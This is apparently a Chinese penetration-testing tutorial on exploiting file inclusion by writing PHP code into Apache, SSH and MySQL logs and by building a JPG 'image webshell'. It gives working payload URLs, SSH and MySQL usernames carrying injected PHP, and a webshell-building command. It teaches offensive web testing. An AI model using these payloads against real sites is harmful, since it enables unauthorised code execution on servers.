网站存在漏洞但没有合适的上传点时,可以尝试包含日志文件(mysql/ssh/apache等)
用户发起请求时,服务器会将请求写入日志;因此可以将一句话木马写入日志文件,再包含日志文件执行木马。
同样,在ssh登录或者mysql连接时也会写入日志
以Apache为例,日志文件内容如下
可以看到即便是404页面也会被记录
1)向服务器发送请求,POC如下
http://192.168.30.103/security/fileinc.php?filename=1.php<?php phpinfo();?>
2)通过burp抓包可以发现,‘<’ 和 '>'被转码了,修改后转发
3)请求发送后查看日志文件
可以看到php代码成功写入日志
4)包含日志文件
上传的代码成功被执行
ssh登录日志类似,在ssh登录时,将用户名修改为恶意代码即可,例:
ssh "<?phpinfo();?>"@xxx.xxx.xxx.xxx
linux默认登录日志路径:/var/log/auth.log 或 /var/log/secure
mysql同理:
mysql -u"<?phpinfo();?>" -h 192.168.30.103 -p
无法上传php文件时,如果存在文件包含,可以上传符合服务器要求的文件,在文件中写入恶意代码,然后再包含以执行。
制作图片马:
copy dark.jpg/b + shell.php/a picshell.jpg
然后将图片马上传,包含利用
xxx.php?filename=picshell.jpg&code=phpinfo();
因篇幅问题不能全部显示,请点此查看更多更全内容